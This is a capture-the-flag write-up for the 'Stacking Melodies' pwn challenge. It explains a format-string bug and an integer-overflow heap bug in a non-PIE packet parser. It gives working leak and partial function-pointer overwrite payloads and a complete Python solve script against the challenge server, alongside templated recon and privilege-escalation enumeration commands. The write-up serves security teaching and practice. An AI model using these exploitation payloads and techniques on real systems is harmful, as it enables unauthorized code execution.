← Back to Writeups
HTBN/APwn

Stacking Melodies

XESXOR8/23/20265 min read
#pwn#htb#n/a

Stacking Melodies

Platform: Metactf | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-10 | Status: Solved Techniques: format_string_leak, partial_function_pointer_overwrite, ret2win

Summary

Task: a public DawgCTF / UMBCCyberDawgs source release exposes a non-PIE packet parser with both a format-string bug and an integer-overflow-backed heap overflow. Solution: use the format string to leak code pointers, infer the remote win() offset, and partially overwrite the logging function pointer with %hn to jump to the flag printer.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: metactf | ID: 20260410_metactf_stacking_melodies
  • Tags: heap_overflow, integer_overflow, format_string, function_pointer, no_pie, partial_pointer_overwrite
  • Indicators: printf(title) with attacker-controlled input, non-PIE code pointers leaked around 0x401000, a writable pointer appears in the format-string argument list, the program calls a function pointer after the vulnerable printf
  • Source: 20260410_metactf_stacking_melodies.md

Foothold

Vulnerability / Misconfiguration

  1. Format_string_leak
  2. Partial_function_pointer_overwrite
  3. Ret2win
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • format_string_leak
  • partial_function_pointer_overwrite
  • ret2win
  • Tags: heap_overflow, integer_overflow, format_string, function_pointer, no_pie, partial_pointer_overwrite

Original Writeup

<details><summary>Click to expand original content</summary>

Description

A server at nc.umbccd.net 8929 is hosting the same code, but theirs has a flag, retrieve it. Public source: https://github.com/UMBCCyberDawgs/dawgctf-sp26/tree/main/Stacking%20melodies

This challenge came from the public UMBCCyberDawgs / DawgCTF '26 repository, while my local workspace grouped it under metactf. We are given the source for a 64-bit Linux service that parses a small custom packet, prints a title field, computes a rating, and then calls a function pointer stored in a heap-allocated session context.

Analysis

The public source immediately reveals two memory corruption bugs.

1. Primary bug: format string

The title is attacker-controlled and reaches:

printf(title);

This gives both an information leak and an arbitrary write through %n if one of the stack arguments resolves to a writable pointer.

2. Secondary bug: integer overflow into heap overflow

The code also validates the data length incorrectly:

static inline int validate_size(uint32_t sz) {
    size_t aligned = (sz + 7) & ~7;
    return (int)aligned;
}

Later it allocates with:

size_t stream_size = (size_t)(d_len + 0x40);
char *stream_buf = malloc(stream_size);
fread(stream_buf, 1, d_len, stdin);

Because validate_size() returns an int after alignment while the real allocation uses d_len + 0x40, a large d_len can wrap and produce a too-small heap chunk before fread() copies the full attacker-controlled size. That looks exploitable, but I did not need it for the solve.

Build assumptions

The source comment says the binary was compiled with:

gcc -no-pie -g in.c -o out

That matters a lot: a non-PIE binary keeps stable text addresses, so once a code pointer is leaked, nearby functions such as win() can be inferred reliably.

Exploitation

Step 1: confirm the format-string layout remotely

I first sent a title of the form:

%1$p|%2$p|%3$p|...|%40$p

The remote output included these useful values:

  • arg8 = 0x4
  • arg9 = 0x4063f0
  • arg15 = 0x4014bb
  • arg19 = 0x40148f

The important observation is that several leaked code pointers sit in the 0x401000 range, exactly what we expect from a non-PIE ELF. Argument 9 also gave a writable target usable with %n.

Step 2: line up local and remote addresses

Compiling the public source locally as a non-PIE Linux x86_64 binary produced matching structure but slightly different code offsets:

  • local arg15 = 0x4014a1
  • local arg19 = 0x401475
  • local win = 0x401234

The remote leaks are consistently shifted by +0x1a:

  • 0x4014bb - 0x4014a1 = 0x1a
  • 0x40148f - 0x401475 = 0x1a

The most likely reason is a small source difference in the deployed binary. In practice, a local variant where calculate_rating() returns rand() instead of 0 reproduces that shift.

So the remote win() address is inferred as:

0x401234 + 0x1a = 0x40124e

Step 3: partially overwrite the function pointer

After the vulnerable printf(title), the program does:

ctx->server_logging("Rating", rating);

Originally this function pointer targets log_event(), which already lives in the same non-PIE text segment. That means I do not need to write the full 8-byte pointer. Replacing only the low 16 bits is enough to retarget it to win().

The low 16 bits of remote win() are:

0x124e = 4686

The working payload was exactly:

%8$4686c%9$hn

Why it works:

  • %8$4686c pads the output count to 4686 characters.
  • %9$hn writes that count as a 16-bit value to the address referenced by argument 9.
  • The low two bytes of the stored function pointer become 0x124e.
  • When the program later calls ctx->server_logging, execution jumps into win().

Step 4: get the flag

Once the overwritten function pointer is invoked, win() opens flag.txt, prints it, and exits. The remote service returned:

DawgCTF{REDACTED}

Solve Script

#!/usr/bin/env python3
import re
import socket
import struct
import sys

HOST = "nc.umbccd.net"
PORT = 8929
MAGIC = 0x564D576E
FLAG_RE = re.compile(rb"DawgCTF\{[^\r\n]{0,200}\}")


def send_packet(title: bytes, data: bytes, timeout: float = 5.0) -> bytes:
    pkt = struct.pack("<III", MAGIC, len(title), len(data)) + title + data
    s = socket.create_connection((HOST, PORT), timeout=10)
    s.sendall(pkt)
    s.settimeout(timeout)
    out = b""
    try:
        while True:
            chunk = s.recv(65536)
            if not chunk:
                break
            out += chunk
    except TimeoutError:
        pass
    finally:
        s.close()
    return out


def leak() -> bytes:
    title = b"|".join(f"%{i}$p".encode() for i in range(1, 41))
    return send_packet(title, b"AAAA", timeout=3.0)


def exploit() -> bytes:
    # Remote win() inferred from leaked non-PIE addresses:
    # local win 0x401234 + remote shift 0x1a = 0x40124e.
    # Low 16 bits are 0x124e == 4686.
    title = b"%8$4686c%9$hn"
    return send_packet(title, b"AAAA", timeout=10.0)


def main() -> int:
    mode = sys.argv[1] if len(sys.argv) > 1 else "exploit"
    out = leak() if mode == "leak" else exploit()
    sys.stdout.buffer.write(out)
    m = FLAG_RE.search(out)
    if m:
        print(f"\nFLAG={m.group().decode()}")
        return 0
    return 1


if __name__ == "__main__":
    raise SystemExit(main())
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR